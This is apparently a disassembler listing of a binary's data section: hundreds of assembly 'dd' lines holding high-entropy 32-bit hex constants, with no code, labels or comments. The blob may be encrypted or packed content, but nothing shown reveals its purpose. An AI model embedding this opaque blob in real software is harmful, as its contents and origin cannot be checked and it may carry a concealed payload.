		dd 217F6F8Dh, 0BE99EF1Bh, 0B850C00Dh, 0F00F8B85h, 0F074BD29h
		dd 0B5340B78h, 68B6C872h, 0FCF70262h, 247A516h,	0C302DAADh
		dd 4DB5CA90h, 2CE05C98h, 0E7D5953Eh, 76F3BB65h,	0EB28B2Ah
		dd 0F0B7ADEEh, 0D4A85B4Dh, 8509321h, 96DF63C2h,	1E0B9AC3h
		dd 77A4DA9Fh, 4DB3E8B0h, 0F6A12AF7h, 0D03322D2h, 38978908h
		dd 75EE5DF3h, 9F369B03h, 766CD57Bh, 88F5A0F0h, 3A1F7285h
		dd 0F5221A9Eh, 756E5367h, 0D6D0B84Dh, 99118159h, 4D8282CBh
		dd 79B83468h, 6789C3C6h, 4133DF79h, 7853E20h, 0C735D609h
		dd 4DEAA564h, 0F28D8179h, 0FBBEC4A6h, 8A383CDh,	0C8E8CDA4h
		dd 47FB9F2Ah, 344F6A9Bh, 2BC0AB5Fh, 17031297h, 367F2565h
		dd 0FD26E50Eh, 1A2BDEE6h, 48C33090h, 0DA52DAF2h, 29D31BBBh
		dd 4B4B35B9h, 68C424B8h, 837425Fh, 0D5D40D6Eh, 0F561BA0Ah
		dd 166E1255h, 8E38F02h,	7EF97138h, 0AFDFD363h, 6E52C057h
		dd 30D55ACh, 7EB932Bh, 0FE9C2596h, 0CCC5C02Eh, 113A9925h
		dd 0AA5BBAEDh, 97D53BA0h, 0E8B8269Fh, 433C9731h, 93E7893Fh
		dd 30D10302h, 0DC1BE09Ch, 85B993F0h, 890B699Ah,	60235F32h
		dd 93EBBC41h, 27432D1Bh, 475503FAh, 6F0F9F1Bh, 0FCE2A6CBh
		dd 610E72ABh, 8FD2572Fh, 16EDB7D4h, 485E581Ah, 0D2672D7Ah
		dd 0D28E6135h, 2AF9D910h, 0A5BDAD46h, 0AAA09DE0h, 0A18EE9AFh
		dd 236C8F03h, 4EA600A7h, 0C77A6591h, 36F19158h,	0D0DCA5C9h
		dd 578AF448h, 0B4D58A7Dh, 86F3C6E5h, 3776BE68h,	7F33E76Eh
		dd 48A74013h, 3E0E9837h, 0F01049DFh, 2F696681h,	8B41D032h
		dd 0ABCA4A93h, 8A9687Ch, 8C65D3A4h, 96885A52h, 5E4E1FBEh
		dd 890E2689h, 463114Dh,	5D65AEF4h, 98B65887h, 81DA1BDh
		dd 0FD7C87B5h, 0F25F9957h, 3348F4Fh, 3DEE8BC2h,	3A763D3Dh
		dd 0C4D51F0Ah, 95825BA5h, 1459C6Fh, 0D4659A45h,	0C280E11h
		dd 2B7C51D8h, 67D73D17h, 4A82CCB1h, 114FD7DBh, 64FC5CE8h
		dd 5940BC5Eh, 0F95C685Eh, 0AFF53B9Eh, 95988A6Ah, 0DD82D51Fh
		dd 47A5FA9Eh, 0FBAB5F7Eh, 7FED2214h, 0EF3BA405h, 0B9C72493h
		dd 8C8CA3Ch, 0A71BCB23h, 0B50B0DD0h, 1751214Fh,	30103FD1h
		dd 9707F8BAh, 0EF4798A4h, 0CE1A46EDh, 63EBCA67h, 88618058h
		dd 73A31430h, 156D3759h, 2B1036D6h, 1B55D3ACh, 4F481E5Dh
		dd 6E0AE88Dh, 0D9F0C061h, 0E6E164AFh, 17D58209h, 2D9E9450h
		dd 0AFFF54B0h, 0F92BB8B9h, 3D768EB9h, 2784B97Dh, 0A94FA6EDh
		dd 73A1C834h, 36CA558Ah, 81FF5088h, 0BF2FAE43h,	93B2102Bh
		dd 3D8C6C28h, 0AD83A4A1h, 4E6DBFA4h, 19CF0FC6h,	5F644D32h
		dd 0AD8BDE79h, 34E9C1E0h
		dd 13EE2936h, 0AA4BD2EAh, 9222511Bh, 0D4FE8F90h, 44882A01h
		dd 0E0DCAB87h, 1DD96AD1h, 14B2702Eh, 7F6B74FBh,	14573074h
		dd 1C92AF89h, 769B424h,	3D9F634Dh, 728E3016h, 0AB98FA86h
		dd 0B055DDEFh, 0F6644E20h, 72182AB2h, 0ECF2FE97h, 83FAD02Eh
		dd 92F0164Ch, 0FB7E5EAFh, 52064410h, 5499B521h,	39094C4Dh
		dd 0BE4881CAh, 0CD5C32D8h, 83174584h, 435E8379h, 2F0620E5h
		dd 13F9DA5Eh, 2FB0CF98h, 15C00694h, 96E905DAh, 6115FF5Eh
		dd 3E424314h, 3C0F3882h, 611E8A3Ah, 47CBD141h, 892B6A6Bh
		dd 317CF997h, 0F4277320h, 2C85D427h, 0A0B3F475h, 0A9977C10h
		dd 0BD279127h, 0C09E14DCh, 97C108D5h, 540ED715h, 76D16B93h
		dd 70A213B8h, 32706778h, 98D01DA9h, 0B0CB3Ah, 786F0EABh
		dd 60D7EEBAh, 0DB86B5CDh, 2592A3BFh, 0F3965F15h, 46128383h
		dd 22AADBA5h, 2ECF6D5Bh, 0D8D5E44Eh, 31BA0BECh,	0B3E81C47h
		dd 0D9989858h, 0C36C6E73h, 0B56B5127h, 0C4484117h, 670B5171h
		dd 0F396DC4Dh, 6D3F6D56h, 5F397047h, 1F06D6C9h,	0A2C08DEBh
		dd 0B38E32EBh, 0B6F60F81h, 0E0722621h, 4ABCED4Ah, 0CB4A2D27h
		dd 126C246Dh, 29234EC1h, 0C3B2FC8Eh, 53B75A45h,	4ACE7557h
		dd 0A6533721h, 48323330h, 0FB67BD90h, 31B2E380h, 54F6AA58h
		dd 0C46E2EC9h, 26213B4Fh, 0FB1C5528h, 0A94280A5h, 52A920A1h
		dd 388F3BBDh, 0C7B42120h, 80FF98C0h, 419777C1h,	0A1A5FEC2h
		dd 2A926AFBh, 68F7AAFDh, 65BEB01Ch, 0E48FFC79h,	0A43628DAh
		dd 2DA05442h, 62FEFC21h, 52E0B807h, 9C8E85E9h, 7AD54259h
		dd 0CBC89453h, 0CDCB03C7h, 21C79FF6h, 0E09AAE17h, 405FDB81h
		dd 6764F206h, 0FA606BACh, 45B825BCh, 220DD0BEh,	6461E237h
		dd 2089AD00h, 0CD38A06Bh, 3E5B447Eh, 391AF7C3h,	0DCE03FD5h
		dd 28611EC6h, 104CE31Ch, 0A7627840h, 86F5E5A6h,	6803883Dh
		dd 813A891Dh, 75A8D84Ch, 0BADA3505h, 622AD803h,	13495D72h
		dd 0CAD5D49Dh, 0F601502Bh, 0A1BBD8BEh, 79972000h, 0E3B30C6h
		dd 5B4FAA9Bh, 0D1216234h, 297E618Bh, 156646FFh,	8ABB848Eh
		dd 49666CEEh, 0CEFE747Ch, 2EE1D656h, 0F573D747h, 640B9BF7h
		dd 5910C445h, 0DB3F7E27h, 3B89F286h, 96E384F2h,	27E9C64Bh
		dd 851F104Dh, 66308580h, 65F986D9h, 0A28A2B3Bh,	4E0A6AD8h
		dd 3CED4D60h, 503EB444h, 16BA06BEh, 9EDBC351h, 0EAA0EC76h
		dd 1EB4D8ECh, 0C0C3F1B0h, 27CF9DC1h, 0BD1D5F2h,	130F02A6h
		dd 20B5C76Fh, 8CEA979Dh, 1FE9C7E8h, 8D5A0F69h, 8F4E4035h
		dd 0F86EB359h, 0B3E73429h, 3AF58143h, 3C6168E2h, 771843ABh
		dd 391C3E47h, 90569318h, 8AA47919h, 0BCC443C6h,	555B717h
		dd 0E7CBB038h, 0A1614E2Ch, 8CDC5C6h, 6C88F711h,	9416BAA4h
		dd 4120BC14h, 0A4DC7B3Ah, 0DB3037ECh, 559D09D6h, 66F9C1ADh
		dd 0CCC1CE1Ch, 20E351EAh, 0C4375D20h, 0C92452A1h, 0E58CEEA9h
		dd 569B6675h, 36FB6DDFh, 0C44CBAADh, 160AA3D9h,	2F13A097h
		dd 0ADC59FE0h, 0BE6D1EBBh, 0C9682D48h, 5DC191F2h, 22BD7147h
		dd 74BFC796h, 0FA114FF2h, 3706D686h, 11EC97FDh,	4B00628Ah
		dd 23A71C07h, 94117BC2h, 619D61A6h, 7E199B45h, 7D9F86F6h
		dd 0A862BB08h, 0E1A98EA5h, 58FFC6F6h, 92129680h, 9E3FA0F0h
		dd 909CF342h, 16A64569h, 3DBC91AAh, 0B3025DE6h,	0EBF69040h
		dd 0CCAED061h, 0B30223AFh, 0F7D95E41h, 1CACCB2h, 704D01ADh
		dd 45C94F70h, 55BAC379h, 0C395BC5h, 3487895h, 0FBC0CC51h
		dd 36B93867h, 61592C5Eh, 0C23AD343h, 0E1E0B132h, 0C48016Ah
		dd 2839DE84h, 368CDA0Dh, 2387B6AAh, 0E003EAA0h,	6874D237h
		dd 0CAEBEh, 9B84D8CEh, 0F34AA9B2h, 7524CAFCh, 4F77B677h
		dd 8EEF4195h, 184D33E3h, 57CABC66h, 0F54C18CEh,	5458C0A4h
		dd 261B76DEh, 0A7C4410Eh, 0FCC3FA9Fh, 651C7584h, 2F7B00A0h
		dd 532D9D46h, 817EA58Dh, 9B6DDD73h, 0E1D524A1h,	0C8CE23DCh
		dd 9438F9BFh, 7EEDFCCAh, 649493B1h, 0C1A3B406h,	416A54F0h
		dd 0B05634A7h, 0D1E924E3h, 8C9F76F2h, 0D450208Dh, 83AEF5D3h
		dd 0A0B6209Bh, 43B73483h, 0E2DA3186h, 0C6695C24h, 9CA83D5Ah
		dd 3A413839h, 0A9AF271Ch, 3790429Bh, 7BDEF821h,	0D427FFA2h
		dd 58899712h, 24DF7A2Fh, 0A2CDCF1Ah, 5D100CECh,	13F6EDCh
		dd 0E88679E4h, 6A47FC41h, 3C21AF92h, 0ACA2C0F5h, 5A3E05E0h
		dd 0CCE8DB21h, 0A229E928h, 50334E1Ch, 0B7BA4F92h, 35FDA36Dh
		dd 484B2481h, 300F300h,	75AFDEE7h, 9EB4B675h, 0CA3F9AE1h
		dd 0A902E05Fh, 54CBA34h, 0AF58ECE0h, 0B5D714B0h, 0F09F9C0Bh
		dd 0A7095068h, 991DBBE1h, 2C69F9D6h, 804B6099h,	0B888AD53h
		dd 1AB9EA6Dh, 9CD51BF2h, 19060818h, 0C246EF99h,	55BFB7ADh
		dd 6A7ADD21h, 3F4B62B2h, 937B14E9h, 0D5608266h,	34444319h
		dd 0DD781B02h, 3240EE51h, 0C9270F4Eh, 0D2B5B8ADh, 34B6BB92h
		dd 0B1764AC1h, 0A717BF9Ah, 0B9DBB7EDh, 0A97FEF08h, 3898A353h
		dd 0B1230A65h, 0E8DE6540h, 7D33FC39h, 0B538171Fh, 4CBBE270h
		dd 9B663141h, 6E9DFC67h, 635A693Ch, 0A8BDE274h,	40E63BF5h
		dd 0F2905BEAh, 1E286FCh, 4FBA1359h, 8D713D11h, 5A2AAB57h
		dd 5FB5C270h, 0B15C9A20h, 0ABFD3460h, 49D1F21Dh, 80825C3Dh
		dd 31C6A3F8h, 959197F6h, 5E64500Ah, 0B0316523h,	0B1DB6A38h
		dd 0EFC0DCBBh, 0DFF25A58h, 0BF125FAh, 0F06C5A00h, 0D5E4C055h
		dd 28408A3Eh, 33639550h, 51C77AF2h, 0CD6E52E2h,	6922B340h
		dd 736438D0h, 2837E552h, 0FB89C861h, 14FB2399h,	7F04AB1Dh
		dd 62D08AF3h, 0E91E68ADh, 85B33D6h, 4C654E20h, 1ABBB7F9h
		dd 1B18A3DCh, 86FE2436h, 464C785Eh, 5EA77A9Dh, 0D0C2FA85h
		dd 61C6535Ah, 0F149F5CFh, 0DEDF8375h, 0CE941240h, 79F5C62Ch
		dd 8006F6DCh, 0F402F493h, 68B4234h, 14C90F7Dh, 15653CD4h
		dd 0A0A9BE82h, 287AE012h, 0FBF49002h, 892F6612h, 0AAF01F38h
		dd 0D5DF9445h, 8CCAB5A8h, 5443A3D7h, 4BC0615h, 78D6AF6Dh
		dd 47C39B6h, 63D10232h,	0A01DEB77h, 362C174Ah, 51D22399h
		dd 89A9F6C1h, 1D61B68Eh, 0E503B952h, 0FEF15FACh, 37BD3651h
		dd 0F7C907B0h, 0CA66967Bh, 592E1788h, 0C7F2BE2Dh, 0DAD35C29h
		dd 48C050BDh, 0BD40A384h, 56AAE216h, 0B0F251CEh, 0E85CABDh
		dd 16E00FABh, 0BEE75AACh, 73F91ADDh, 0A55B94A6h, 358CC481h
		dd 0B610CB35h, 6BFA29C0h, 165A5E79h, 887F4826h,	0DEA690D9h
		dd 0B8729417h, 0D22D5520h, 1F970744h, 8CE4E22Ah, 7C9CB965h
		dd 0EE9FF01Eh, 2D54381Eh, 3512D1Bh, 5E28A2D9h, 3A794000h
		dd 0C7FC9171h, 0BDC59EA2h, 0B0031D24h, 0FEA90C55h, 13D0D173h
		dd 0D803DB46h, 90E61C56h, 6725D06Ah, 87C48C5h, 6A854A44h
		dd 723A40F0h, 0B7ADFEC2h, 9090E9DEh, 7D3769FBh,	0D09CBF14h
		dd 0C2049D80h, 0BCFF78D1h, 1375F3EAh, 45DF57B2h, 0F8F03900h
		dd 0B52CD805h, 27157887h, 7770E321h, 0E87CF681h, 41842586h
		dd 1DA567CAh, 183242BCh, 2FF10407h, 0C7496D95h,	0B75A5EF5h
		dd 92F9D93h, 0BE5BD03Ah, 7433174Dh, 8B058F95h, 4141DC8Dh
		dd 98496E1Bh, 0ED205E54h, 68399365h, 3F91C6C8h,	7B2D8D17h
		dd 0B6C4BE62h, 0F8991DAAh, 7C9F5FDEh, 0E4BBFD43h, 42D38099h
		dd 7E766A5Bh, 77D63238h, 59447BA5h, 2EDD4C7Ch, 76C0A073h
		dd 33E165ACh, 0AE546DDFh, 0B9031FBEh, 0A2891354h, 90F2642Eh
		dd 7B03CD00h, 0E5E8DFE7h, 0C14D0F69h, 0BF93AAB2h, 9DEA70D3h
		dd 6CB190A5h, 6D0381EBh
		dd 0B00A9DADh, 2D6B9D0h, 287107C7h, 0AB7A6902h,	47AE70D3h
		dd 0EAC8CACCh, 83BC124Dh, 2A16BD4Dh, 1BF112C9h,	878954EEh
		dd 9D85F566h, 90F71CEFh, 502A9825h, 0C4249489h,	0F016990Fh
		dd 0B85F3042h, 6B8FCABBh, 270AA2BCh, 735D31C0h,	0F3FBE7F5h
		dd 0E17BD13Ah, 3F438918h, 0AA9687F8h, 7BF2E71Fh, 3823973Ch
		dd 0B7697C17h, 0AAFC83A2h, 0CBD28EC2h, 9CA704DDh, 2748D354h
		dd 0D3BCF724h, 0FB344388h, 8149D148h, 0BA1FF1FAh, 457A405Bh
		dd 74B57E92h, 6B692E79h, 68CCD736h, 51648DCCh, 2F7A24EAh
		dd 4F9321DBh, 978B4B9h,	5151A6ADh, 0AED964A0h, 0A6D586E5h
		dd 9ECE17BEh, 48024473h, 5D2783B6h, 0AEA27337h,	7B9F421Fh
		dd 2DD1B3E0h, 0C57935F0h, 0D175E8B8h, 0B3652E3Eh, 0A9DA2801h
		dd 0FF4C7622h, 0E6309B6h, 8A68D7ABh, 9648BE2Ah,	0F1B5D3D8h
		dd 0BF51Eh, 47473E54h, 31487659h, 8AA5D75Dh, 31C55A14h
		dd 9B7B939Fh, 0B8ACC2B3h, 0D5AB9A89h, 17D8E0FDh, 0F04DDDF9h
		dd 6495A672h, 0FE870EDEh, 0BEE34376h, 2DA43CF7h, 0C3382213h
		dd 0F21E67C2h, 32E8CA5Ah, 0A0458687h, 0F71A44B6h, 1AFB881h
		dd 5CA8BE29h, 0EE1E979Dh, 60B01126h, 5603DF43h,	0A98AC320h
		dd 0E7EBDA06h, 8C820D8Dh, 0DE092798h, 0F78F9821h, 0E01D6038h
		dd 4D10C1B2h, 9F323731h, 1CC285CCh, 6461C6F2h, 0D5724839h
		dd 48B9DD72h, 9C50C4EBh, 5DE69E62h, 3B261EA4h, 0C0CCB1Fh
		dd 3B57B204h, 91112329h, 576DC1D4h, 0BF2F2712h,	3C7A951Ch
		dd 0C88AE5FAh, 87FEC5ADh, 6FFCBA25h, 0F0DD4AFFh, 6B724745h
		dd 228B1851h, 0C3E88380h, 30A39EB9h, 9A667D7Dh,	76FED347h
		dd 20301F9Bh, 0E8596659h, 9A30C3A3h, 9FD0DA31h,	4692DDD8h
		dd 9BE59721h, 45AE798Fh, 0ACDD2BEDh, 560102EBh,	0B720E42Dh
		dd 0DC4A6889h, 40408C21h, 230CDB40h, 0F9F254F1h, 7D73C35Ch
		dd 3FE5B093h, 28FDFED7h, 52AFEC95h, 0E1615AEDh,	9DD4EB37h
		dd 3E7AD391h, 0AE81CF1Dh, 8AF29185h, 862E40F6h,	0EBD47121h
		dd 73D124D7h, 0EAD19FD0h, 288511C8h, 5633B268h,	5E7E7742h
		dd 0CA2097ECh, 2324304Eh, 689C077Fh, 93D4FD69h,	0B53CD02Ah
		dd 280AF472h, 0BA1738A3h, 93DE2569h, 9E30BEE6h,	0A1F45F2Eh
		dd 66CF287Bh, 0BDB4ED3Ch, 1D168B66h, 0CCD35799h, 158056B3h
		dd 22EF3070h, 3E9E8C6Eh, 0D5F56E47h, 4366DE9h, 0B5F8CC32h
		dd 9F04816Dh, 5CFB4457h, 0EF7CBD4Bh, 81803583h,	10453EF9h
		dd 5F256D1Ch, 7BE2448Bh, 243DC37h, 0C76BADB2h, 0D1EAE2DFh
		dd 87E3F4D8h, 3BF259F3h, 0ACCD4F5Fh, 5D8CF1DBh,	86BE7291h
		dd 5D63BB47h, 0F1B4E147h, 0FE7F93C2h, 0DE0EA1F4h, 7DB20546h
		dd 0FA3AB407h, 235D4F7Fh, 0B7F4B8F9h, 0BB1A181Eh, 8DE507DCh
		dd 0A56352FFh, 7EEBA91Eh, 3715F64h, 6250B26Eh, 0F8915EB3h
		dd 7C7606DCh, 0A68E8319h, 5AAB5172h, 4D227224h,	87FA0730h
		dd 0F223D21Dh, 0B61E1D7Dh, 0B3ADC18Dh, 7A43EA6Eh, 315359BCh
		dd 0D174DBB1h, 55C640E0h, 0D1242C4Ah, 0A7188611h, 0A6313B61h
		dd 9E60E61h, 22B06006h,	2892481h, 0EECBFA1Fh, 3EEDB6F4h
		dd 0BD001BF3h, 1CAC599Dh, 7623FEA6h, 37ACD0A5h,	2C05A8D4h
		dd 5949D1D4h, 0D811BAF5h, 43F9D953h, 394A65B3h,	0B2F3FBE8h
		dd 0EC359973h, 0AFB9F19h, 62B68F94h, 1098157h, 0E0F15714h
		dd 6549A295h, 6AB790E8h, 0DE519AF6h, 474106E4h,	736B349Bh
		dd 55B635ECh, 8AEED325h, 0A7C3E38Fh, 0F6779F5Ch, 0FC200D41h
		dd 5817538Eh, 0A05E870h, 14A6C519h, 0D3C7DAE0h,	61B5DA5Fh
		dd 5AF68BF3h, 0AEA818D6h, 0EFE44E08h, 0A2BC35Eh, 740EEA40h
		dd 28FE6E36h, 92D59BD1h, 0BDC38763h, 673F7BDh, 0ACFAB3AAh
		dd 0A9B6B67Eh, 0C0EB0860h, 1B222BDFh, 0F4893422h, 3DDB8FA4h
		dd 76F615E7h, 8D2B6114h, 0E04F262Ch, 0E419D9EFh, 0E49DCC2Eh
		dd 0E4EE3B24h, 3E7AA269h, 955105A8h, 898C2AABh,	732A889Ah
		dd 5BAE42A4h, 3CB56E24h, 0C77BB852h, 81ABBF0h, 0B4EF0189h
		dd 0BEF35DE8h, 0B4D615Eh, 0DBE40562h, 0B3728CAFh, 0B32D1BEFh
		dd 921A2433h, 0CB9EB169h, 0A8B54E21h, 5513BD5Bh, 32162838h
		dd 5915A9DBh, 0DDDCE714h, 0BCEBDE82h, 0A94C074h, 436E354Ah
		dd 29457BF9h, 1A3DA6F1h, 0F4694AB4h, 0DEFA1665h, 30D9856Ah
		dd 590D7708h, 93B68A3Ch, 0DCF791E9h, 0D0B0E44h,	6ACE10BDh
		dd 0F54CD83Dh, 81F534ECh, 6D65C353h, 71D9F8C5h,	0EB5FA2ECh
		dd 0EC66C7D7h, 2E023BD5h, 256FA27Ah, 0BF50AAFCh, 0EAB09DFCh
		dd 0EF09E44Dh, 16D26EF2h, 0AFE50872h, 36DBF6E0h, 7FE483BCh
		dd 5A8DF4C5h, 2039CE2h,	9B15771Bh, 19D1FCAAh, 14BE0A57h
		dd 71B97F4Ah, 97E2F41Eh, 644F69CEh, 9744BF13h, 0ABE596D3h
		dd 19A507B6h, 0B86B1AA7h, 0B6E724BDh, 9E64E038h, 0FDDF22A2h
		dd 48AEF0AFh, 50E9A762h, 0FFEBB214h, 2A321C24h,	377DF7B4h
		dd 0AF4B4E2Ch, 0BDE441E5h, 0A92E7919h, 0A95D18EEh, 53644872h
		dd 9E2EDCE9h, 6911B2AAh, 1F358137h, 0E0EECDCFh,	16B37606h
		dd 19D3F4E2h, 0F884343Bh, 4756069Eh, 0B407A52Eh, 0D3483900h
		dd 0D6D4EFAh, 8BA8D485h, 0CD18A48Dh, 5146FC1Bh,	0F469047Dh
		dd 0C4D3B4AFh, 776A1DFDh, 0AB200145h, 2EA1C406h, 0BE61864Fh
		dd 0F6206618h, 0B0214602h, 3AFEA29Ch, 96F85522h, 156CCC2Bh
		dd 534F1A8Ch, 9A23B1Fh,	0BFCCC126h, 89ACB435h, 0F1600017h
		dd 0C77C1C83h, 96657017h, 262FD8B7h, 996EA4AFh,	4EFF227h
		dd 55A1FFD7h, 85E4C311h, 93D40C6Fh, 1700AAC0h, 453E0B47h
		dd 6C7E55C2h, 0EBE43BA1h, 4A8D7EDh, 0EAC0CFABh,	0B48ED8C3h
		dd 67BB2ECEh, 347DFD7Ah, 0D511A084h, 0CBBD001h,	6FFD7370h
		dd 0D5097618h, 61EDD7D8h, 2382F7B8h, 7292947Dh,	0FAB2B3FAh
		dd 0D78843BFh, 15642CB3h, 0C2B838DDh, 18674CD2h, 4EF85E4Eh
		dd 8A4CD2B0h, 2F3314E9h, 4B660B75h, 2E72DA00h, 770BEE53h
		dd 78F38118h, 3CF25BAEh, 45A3AE43h, 53468CDBh, 56D0C473h
		dd 0D9494C03h, 5861A3DFh, 7F631346h, 77E3B826h,	0C04BFC8Bh
		dd 78B1F693h, 0AA0E8C49h, 52795AD7h, 0D93A9450h, 410EEEBFh
		dd 32594964h, 475A86C5h, 0AA36AF3Dh, 0FCFD14B8h, 0ADE03924h
		dd 0A4AEF8F7h, 3788110Eh, 63CC85F3h, 9B53DDDDh,	3C1CE8ADh
		dd 5461C960h, 2A11B0EDh, 1B589379h, 0CF7B6D71h,	91755147h
		dd 0CB9CF943h, 90270B77h, 0FC74768Ah, 370B7616h, 6F6A365Dh
		dd 27DB1419h, 0B30CE848h, 0FCD2D080h, 5E2916FCh, 0F319756Ch
		dd 5932FE6Bh, 562D2Bh, 0AE6004E7h, 0D9DC1F56h, 0B48BCB70h
		dd 0B30D0826h, 0FFCDCF1h, 9F77ECEFh, 0B8AF466Ah, 40D341A8h
		dd 0B0518A7Bh, 1BA1D950h, 74A25732h, 6A246463h,	10266B68h
		dd 0DF4D8040h, 0D7F45907h, 0F7CB6D40h, 4915203h, 4A605946h
		dd 3D0CB26Bh, 0AF9C1D1Ch, 8B310078h, 46B469AFh,	9AED5863h
		dd 0B9B0907Dh, 0FBE2476Ah, 27A8B7CCh, 0CBFFC1A3h, 0E6D03DD6h
		dd 0C3CF0385h, 0FF4E508h, 0BFA5BECDh, 0A23B98E6h, 3F4E8512h
		dd 27FAB292h, 92640F35h, 0EFDD7DE2h, 0C166EC74h, 1245B78Fh
		dd 453FA842h, 8E83BA43h, 0E27F2D4Ah, 515837B8h,	1A0E2980h
		dd 0AEE00793h, 5C9E2943h, 75A4DFD7h, 98A4AD92h,	0D37B90E4h
		dd 30E55080h, 4ACF1397h, 2AA4533Ah, 0B92CD2A4h,	0AFFE355Fh
		dd 0D30ED93Dh, 5F1085F6h, 2ECE8E54h, 8D1F6C22h,	0B115ED41h
		dd 16EFC9C2h, 99F47D44h, 825CE064h, 0DC8DADEBh,	7FD89715h
		dd 6D39B229h, 76CA208h
		dd 99EFFACBh, 28964B70h, 0C4A7E856h, 0BF16BFB4h, 829982EBh
		dd 9653AE0Fh, 580E9AB4h, 48AA9299h, 13A0C4B3h, 4581EC72h
		dd 107128C4h, 3FBA0FB5h, 0A88F861Dh, 78882CEFh,	0F8B4C674h
		dd 1D9BCF4Ah, 5C6AD6BAh, 804FBF3Dh, 789C5C36h, 0BD12D17h
		dd 5FAAB375h, 0A7AFC2BDh, 99461F59h, 6251C9E7h,	9F874BA0h
		dd 0FA965AC3h, 4B1CF67Fh, 22131910h, 50A6B5B4h,	0F43592A9h
		dd 0B33FBB27h, 0A26DE1E5h, 7E6141D1h, 0F67257B0h, 6E4A9FF8h
		dd 5E599D50h, 88F71ACBh, 2D30C65Bh, 0A7538C04h,	0D6348657h
		dd 0E027B3BAh, 9F39F35Eh, 0A46D4CBEh, 58A313D6h, 0EDF9EE1h
		dd 8E3B3975h, 35EA02A0h, 34A5CE81h, 0AC7BC8AFh,	88BA24D3h
		dd 0C7584F4Ah, 0A2A7FEC8h, 3EE4D015h, 0FDA45AD9h, 18E6E07Ah
		dd 0B308CF90h, 8B406B18h, 0FE7C2583h, 946ED193h, 0F6368E8h
		dd 7D149057h, 0B6486F23h, 3C553255h, 55F9F185h,	0DC0E6DA1h
		dd 0F0137E09h, 92908EF6h, 0CADE4B66h, 87DE0B8Ch, 0E99199Fh
		dd 0C42E765Dh, 41526FF7h, 0FD76ACE9h, 51BB9DBFh, 3AC909DEh
		dd 0BACF7B0h, 6D8BF88Ch, 4303C8D9h, 0C92B631Bh,	6F305668h
		dd 0B7FEC3FDh, 0E40924C6h, 0A3C41FD8h, 0D347EB08h, 570D7D8Eh
		dd 0B13C38AAh, 0B3B3B5F5h, 0FF4EC252h, 0A37EF947h, 0D562B89Ch
		dd 221BFD54h, 864F59C0h, 0E784A46Ah, 2ABA0A7Ch,	7CE4A098h
		dd 32234419h, 3C595375h, 2A1B7E2Fh, 0F30E6E73h,	543EA97Fh
		dd 1C7998FDh, 0A3A72CC6h, 0F41A9FDFh, 212973BBh, 6665F06Ah
		dd 925171F0h, 0E049E456h, 8E3F5336h, 0C73A199h,	4F2F4161h
		dd 0C8A0B7CBh, 5906F592h, 9D182EB9h, 893C466Eh,	79BD8C6Ch
		dd 0EB11F2BEh, 16299FDFh, 2BFC83FEh, 0F95FE55Fh, 0DDA0A2FFh
		dd 5FF2B9FDh, 50761222h, 79556A33h, 3126680Ah, 3DCA8173h
		dd 8216A52Bh, 0B1E023A2h, 8ACCDA65h, 204D32FCh,	1790DECh
		dd 0F3799A1Bh, 0F5324CF8h, 2FC815D1h, 0D3802E6Dh, 42488BABh
		dd 9D3B3794h, 0F03CDD0Bh, 2721A138h, 285051FCh,	6AB0C285h
		dd 3252627h, 0C8442A07h, 0E6BEDB1h, 4F07CC96h, 0CAAE75A3h
		dd 0FB58A683h, 0B7E82619h, 910FBAADh, 0AF7BAFEFh, 0BDABB8F4h
		dd 5FF22CB2h, 214FDA20h, 0C4859260h, 1C7469CEh,	99C6BD81h
		dd 9BF450BEh, 9E730422h, 9F4B086Fh, 6C6F6616h, 0F0AFA3ADh
		dd 461C4F32h, 58E2E894h, 162C7484h, 662E3768h, 17C88184h
		dd 2ECAC1DAh, 1AB0A9DAh, 6A4CD810h, 969C8317h, 7511DA08h
		dd 0A2A64A45h, 68F1299Eh, 8F1482AFh, 92A56B9Eh,	757FFA43h
		dd 272156F5h, 4714164Eh, 0BFDC452Eh, 1F49982Bh,	85230A3Bh
		dd 55861CACh, 0ACD049E0h, 115EBA30h, 525049F1h,	6602D807h
		dd 0ECA29B34h, 0D4CACE5Fh, 4DD3B36Bh, 0E03B9EAh, 0EE4FB95Fh
		dd 0B688EBFBh, 5A29337Dh, 931E87D3h, 3C0C934Fh,	0F66B1718h
		dd 6D78C08Bh, 50556B5Bh, 86FB742h, 37726162h, 9B3BFC47h
		dd 4BCD1502h, 0E5F08FDFh, 47477674h, 9C3A3FE8h,	58D2B5F8h
		dd 773BBE77h, 7D8915C2h, 63513E28h, 0B271BA4Ch,	4B9B6215h
		dd 920208C0h, 0F360EFB8h, 40691701h, 0E95E1392h, 4C3EC02Fh
		dd 7245CAA4h, 8B7A8B58h, 52551C46h, 0DEFA177h, 5BD240ADh
		dd 49F99E9Ah, 0CE1067D0h, 42E7AF33h, 0D8ECBCA8h, 41D2B872h
		dd 0D134B753h, 5D911FBFh, 701559D2h, 7AE6313Eh,	0CF7FEF32h
		dd 42E56742h, 545EE6D3h, 422EA178h, 0AEE3519Ch,	0C2BC1E80h
		dd 6C478FFEh, 0F5AD3163h, 7526CE11h, 7A09D22Bh,	0C9716DC6h
		dd 5C509348h, 0D624D2DFh, 90CE263Ch, 3521BBFBh,	88945C06h
		dd 2BADD623h, 342CBBAFh, 40EB7290h, 62A69AE3h, 3419BF8Ch
		dd 0E9E3682h, 0F243018Ch, 0E0647719h, 0A887BB87h, 0F168A78Bh
		dd 1C36E9F8h, 5B0C2E94h, 526DC0B8h, 187ED0E7h, 4695D9BCh
		dd 0BEFB689Eh, 6982FA99h, 53510ADEh, 7E4A7D55h,	6F27505Eh
		dd 54431E4Fh, 0D5A5C05h, 9FCD27D8h, 0C1758ED6h,	17D0F7ECh
		dd 56851D45h, 7EBD31F0h, 0C3CAAA41h, 0E0E816C8h, 61E29DD4h
		dd 6F27954Ah, 6D40A18Ah, 0B5BF0B90h, 0B0F34C1Bh, 0ABA41364h
		dd 37FC34B4h, 8964B845h, 4630E59h, 72111D06h, 0BC3AE6B4h
		dd 6768BCBh, 60E3A39Eh,	36E38D3Ch, 0F5AC40D1h, 0D4E06134h
		dd 4B0DA6F6h, 0B3B82617h, 3E608B82h, 870C36DBh,	959CA3D8h
		dd 165200FAh, 0EC8A73C1h, 4201275Ch, 0AEA79B62h, 4F36969Ch
		dd 0C964B3F4h, 0B93C5F5Eh, 67BA6159h, 0B4160AAEh, 1A3733A6h
		dd 0C3ACD688h, 3011A85Eh, 9363AC30h, 0DE5370F6h, 6AA4D467h
		dd 8E97CDAEh, 355BC983h, 7953E179h, 7C17EBA3h, 3C56667Bh
		dd 62EFA9EEh, 9B6FE8BDh, 3CD497E9h, 6E5CECF5h, 0B89F2373h
